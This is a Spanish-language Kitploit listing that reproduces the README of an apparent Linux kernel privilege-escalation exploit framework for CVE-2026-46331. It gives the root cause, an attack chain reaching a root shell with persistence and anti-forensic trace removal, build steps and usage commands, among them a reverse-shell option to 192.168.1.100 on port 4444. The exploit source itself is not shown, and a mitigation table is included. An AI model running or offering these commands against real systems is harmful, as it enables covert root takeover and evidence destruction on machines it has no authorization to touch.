Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
dirtyclone-exploit — CVE-2026-46331 — Escalada de privilegios local en el kernel de Linux por corrupción de caché de página en TC pedit + IPsec TEE · Kernels afectados: ≤ 6.12.9 | Kitploit
Herramientas/GitHubGitHub/vulnquest58/dirtyclone-exploit
Escalada de PrivilegiosMecanismos de PersistenciaAnálisis de VulnerabilidadesExplotaciónPost-ExplotaciónPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsExplotación de Binarios

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHubvulnquest58/dirtyclone-exploit

dirtyclone-exploit

CVE-2026-46331 — Escalada de privilegios local en el kernel de Linux por corrupción de caché de página en TC pedit + IPsec TEE · Kernels afectados: ≤ 6.12.9

Ver Repositorio
51hace 1 mesAún no revisado

DirtyClone Exploit Framework

CVE-2026-46331 — Escalada de Privilegios Local en el Kernel de Linux Corrupción de Caché de Página TC pedit + IPsec TEE · Kernels afectados: ≤ 6.12.9

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║   ____  _      _         ____ _                              ║
║  |  _ \(_)_ __| |_ _   _/ ___| | ___  _ __   ___           ║
║  | | | | | '__| __| | | | |   | |/ _ \| '_ \ / _ \        ║
║  | |_| | | |  | |_| |_| | |___| | (_) | | | |  __/        ║
║  |____/|_|_|   \__|_, |\____|_|\___/|_| |_|\___|           ║
║                    |___/                                     ║
╠═══════════════════════════════════════════════════════════════╣
║  CVE-2026-46331 · v1.0.0 · SOLO PARA INVESTIGACIÓN Y EDUCACIÓN║
╚═══════════════════════════════════════════════════════════════╝

License: MIT CVE Kernel Language


⚠️ SOLO CON FINES EDUCATIVOS Y DE INVESTIGACIÓN Utilice este framework exclusivamente en entornos de laboratorio aislados que le pertenezcan o sobre los que tenga autorización explícita por escrito para realizar pruebas. El uso no autorizado es ilegal y no ético.


📋 Tabla de Contenidos

  • Resumen de la Vulnerabilidad
  • Cadena de Ataque
  • Estructura del Proyecto
  • Requisitos
  • Compilación e Instalación
  • Uso
  • Módulos Python
  • Mitigaciones Defensivas
  • Cronología
  • Referencias

🔬 Resumen de la Vulnerabilidad

CVE-2026-46331 es una vulnerabilidad de escalada de privilegios local en el kernel de Linux (≤ 6.12.9) causada por una condición de carrera entre la acción pedit de TC (cls_act) y la duplicación de paquetes basada en IPsec TEE.

Causa Raíz

Cuando un paquete atraviesa la ruta de salida de TC con una acción pedit que establece IHL = 15, el subsistema IPsec del kernel recibe un paquete malformado donde el desplazamiento de carga útil IP calculado excede los límites reales del paquete. Bajo operaciones concurrentes de sendfile(2), este desajuste permite que un usuario no privilegiado (dentro de un espacio de nombres de usuario con CAP_NET_ADMIN) corrompa entradas de caché de página de solo lectura de archivos arbitrarios, incluidos binarios SUID.

Impacto


🔗 Cadena de Ataque

root@kitploit:~
Usuario No Privilegiado (UID=1000)
         │
         ▼
[1] Reconocimiento
    ├─ Verificación de versión del kernel
    ├─ Disponibilidad de userns
    └─ Perfilado del binario objetivo
         │
         ▼
[2] Bypass de Espacio de Nombres
    ├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
    ├─ Salto de perfil AppArmor (fallback)
    └─ CAP_NET_ADMIN adquirido
         │
         ▼
[3] Infraestructura de Red
    ├─ clsact qdisc en lo
    ├─ filtro pedit (IHL=15)
    └─ ESP IPsec + TEE
         │
         ▼
[4] Corrupción de Caché de Página
    ├─ sendfile → disparo de pedit
    ├─ Entrada de caché de página corrompida
    └─ Shellcode escrito en binario de solo lectura
         │
         ▼
[5] Escalada de Privilegios
    └─ execve(binario SUID) → shell root
         │
         ▼
[6-8] Post-Explotación
    ├─ Persistencia (6 mecanismos)
    ├─ Evasión / Anti-forense
    └─ Limpieza de rastros
         │
         ▼
    🎯 SHELL ROOT (UID=0 EUID=0)

📁 Estructura del Proyecto

root@kitploit:~
dirtyclone-exploit/
├── Makefile                          # Sistema de compilación
├── README.md                         # Este archivo
├── LICENSE                           # Licencia MIT
│
├── include/
│   ├── exploit.h                     # Tipos, flags, prototipos principales
│   ├── packet_engine.h               # API del motor de creación de paquetes
│   ├── memory_ops.h                  # API de corrupción de caché de página
│   └── persistence.h                 # API de mecanismos de persistencia
│
├── src/
│   ├── main.c                        # Punto de entrada del framework
│   ├── stage_env_analysis.c          # Fase 1: Reconocimiento
│   ├── stage_namespace_bypass.c      # Fase 2: Bypass de userns
│   ├── stage_network_setup.c         # Fase 3: Configuración de TC/IPsec
│   ├── stage_page_cache_corrupt.c    # Fase 4: Exploit principal
│   ├── stage_privilege_escalation.c  # Fase 5: LPE
│   ├── stage_persistence.c           # Fase 6: Persistencia
│   ├── stage_evasion.c               # Fase 7: Anti-forense
│   ├── stage_cleanup.c               # Fase 8: Eliminación de rastros
│   ├── memory_ops.c                  # Primitivas de caché de página
│   ├── packet_engine.c               # Creación de paquetes sin procesar
│   └── persistence.c                 # Implementaciones de persistencia
│
├── modules/
│   ├── packet_craft.py               # Creador de paquetes Python (Scapy)
│   └── exploit_analyzer.py           # Herramienta de análisis previo al exploit
│
├── scripts/
│   ├── setup_env.sh                  # Instalación de dependencias + compilación
│   ├── cleanup.sh                    # Limpieza del sistema
│   └── detect_targets.sh             # Escáner de binarios vulnerables
│
└── payloads/
    └── README.md                     # Información del directorio de payloads

⚙️ Requisitos

En tiempo de compilación

  • gcc ≥ 10
  • make
  • libcap-dev / libcap-devel

En tiempo de ejecución (objetivo Linux)

  • Kernel ≤ 6.12.9
  • iproute2 (tc, ip)
  • iptables
  • Espacios de nombres de usuario no privilegiados habilitados

Módulos Python (opcional)

root@kitploit:~
pip install scapy

🔧 Compilación e Instalación

root@kitploit:~
# Clonar
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit

# Configuración automática (instala dependencias + compila)
sudo bash scripts/setup_env.sh

# Compilación manual
make all

# Compilación debug
make debug

# Limpiar
make clean

🚀 Uso

root@kitploit:~
# Mostrar ayuda
./bin/dirtyclone --help

# Ejecución en seco (solo análisis, sin explotación)
./bin/dirtyclone --test

# Explotación básica (objetivo por defecto: /usr/bin/su)
sudo ./bin/dirtyclone

# Objetivo personalizado con sigilo + persistencia
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist

# Shell inversa
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup

# Detectar objetivos vulnerables primero
bash scripts/detect_targets.sh

🐍 Módulos Python

exploit_analyzer.py — Reconocimiento Previo al Exploit

root@kitploit:~
# Analizar objetivo por defecto
python3 modules/exploit_analyzer.py

# Objetivo personalizado
python3 modules/exploit_analyzer.py --target /usr/bin/sudo

# Salida JSON para automatización
python3 modules/exploit_analyzer.py --json

# Escanear todos los binarios SUID
python3 modules/exploit_analyzer.py --all-suid

packet_craft.py — Disparo de Paquetes Sin Procesar

root@kitploit:~
# Enviar paquetes de exploit en el offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234

# Interfaz personalizada y cantidad de paquetes
sudo python3 modules/packet_craft.py --iface eth0 --count 20

🛡️ Mitigaciones Defensivas


📅 Cronología

FechaEvento

📚 Referencias

  • Entrada CVE-2026-46331 en NVD
  • Documentación del Subsistema TC del Kernel Linux
  • Implementación de IPsec TEE
  • Seguridad de Espacios de Nombres de Usuario
  • Informe Técnico DirtyClone

👤 Autor

VulnQuest · Investigación de Seguridad

  • 🌐 vulnquest58.github.io
  • 🐛 Portafolio Bug Bounty

Este repositorio se proporciona únicamente con fines educativos. Todo el código de explotación está destinado a ser utilizado en entornos de laboratorio autorizados.

Descargar herramienta
PropiedadValor
Puntuación CVSS 3.18.8 (ALTA)
Vector de AtaqueLocal
Privilegios RequeridosBajo (usuario no privilegiado)
ImpactoShell root (UID=0 EUID=0)
Versiones afectadasKernel Linux ≤ 6.12.9
Versión parcheada6.12.10
Commit del parchea3f4d1c8...
MitigaciónComando / Acción
Actualizar kernelActualizar a ≥ 6.12.10 (solución principal)
Deshabilitar espacios de nombres de usuarioecho 0 > /proc/sys/kernel/unprivileged_userns_clone
Restricciones AppArmorHabilitar apparmor con perfil de restricción userns
Auditar TC peditauditctl -a always,exit -F arch=b64 -S unshare
Integridad de archivosImplementar AIDE o Tripwire en binarios SUID
Filtros SeccompBloquear unshare() en contenedores de producción
2026-01-15Vulnerabilidad descubierta durante auditoría del kernel
2026-02-03Reportada a [email protected]
2026-03-28Parche comprometido (6.12.10)
2026-06-01Divulgación pública (plazo de 90 días)
2026-06-27PoC completo publicado